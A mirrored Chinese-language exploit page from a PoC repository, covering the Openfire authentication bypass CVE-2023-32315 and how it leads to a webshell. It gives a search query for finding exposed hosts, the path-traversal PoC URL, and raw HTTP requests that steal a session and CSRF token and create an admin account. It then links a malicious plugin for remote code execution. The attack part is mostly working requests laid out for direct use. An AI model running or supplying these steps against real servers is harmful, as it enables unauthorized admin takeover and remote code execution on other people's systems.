mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-30 10:10:32 +00:00
82 lines
4.1 KiB
Markdown
82 lines
4.1 KiB
Markdown
![]() |
# Openfire身份认证绕过漏洞&getshell(CVE-2023-32315)
|
|||
|
|
|||
|
# 一、漏洞简介
|
|||
|
Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。
|
|||
|
|
|||
|
# 二、影响版本
|
|||
|
+ 3.10.0 <= Openfire < 4.6.8
|
|||
|
+ 4.7.0 <= Openfire 4.7.x < 4.7.5
|
|||
|
|
|||
|
# 三、资产测绘
|
|||
|
+ hunter`app.name="Openfire"`
|
|||
|
+ 登录页面
|
|||
|
|
|||
|

|
|||
|
|
|||
|
# 四、漏洞复现
|
|||
|
## POC
|
|||
|
当访问poc出现如下情况表示存在漏洞
|
|||
|
|
|||
|
```plain
|
|||
|
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
EXP
|
|||
|
|
|||
|
1. 获取`JSESSIONID`和`csrftoken`
|
|||
|
|
|||
|
```plain
|
|||
|
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
|
|||
|
Host: xx.xx.xx.xx
|
|||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
Accept-Encoding: gzip, deflate
|
|||
|
Connection: close
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
3. 通过上一步回去到的`JSESSIONID`和`csrftoken`替换下列数据包中相应参数,构造用户
|
|||
|
|
|||
|
```plain
|
|||
|
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=qvq9l8fyflxMuwP&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
|
|||
|
Host: xx.xx.xx.xx
|
|||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
Accept-Encoding: gzip, deflate
|
|||
|
Connection: close
|
|||
|
Cookie: JSESSIONID=node0m00xukgw3om052y56u7ppl451582.node0; csrf=qvq9l8fyflxMuwP
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
4. 使用创建的账户`test123/test123`,登录
|
|||
|
|
|||
|

|
|||
|
|
|||
|
5. 在插件处上传利用插件getsgell
|
|||
|
|
|||
|
插件下载地址:[https://download.csdn.net/download/qq_33331244/88224220](https://download.csdn.net/download/qq_33331244/88224220)
|
|||
|
|
|||
|

|
|||
|
|
|||
|
6. 插件上传成功
|
|||
|
|
|||
|

|
|||
|
|
|||
|
7. 进入服务器->服务器设置->shellplugin,输入密码123,即可实现rce
|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
> 更新: 2024-02-29 23:57:33
|
|||
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/xq7trzegk6ecseyg>
|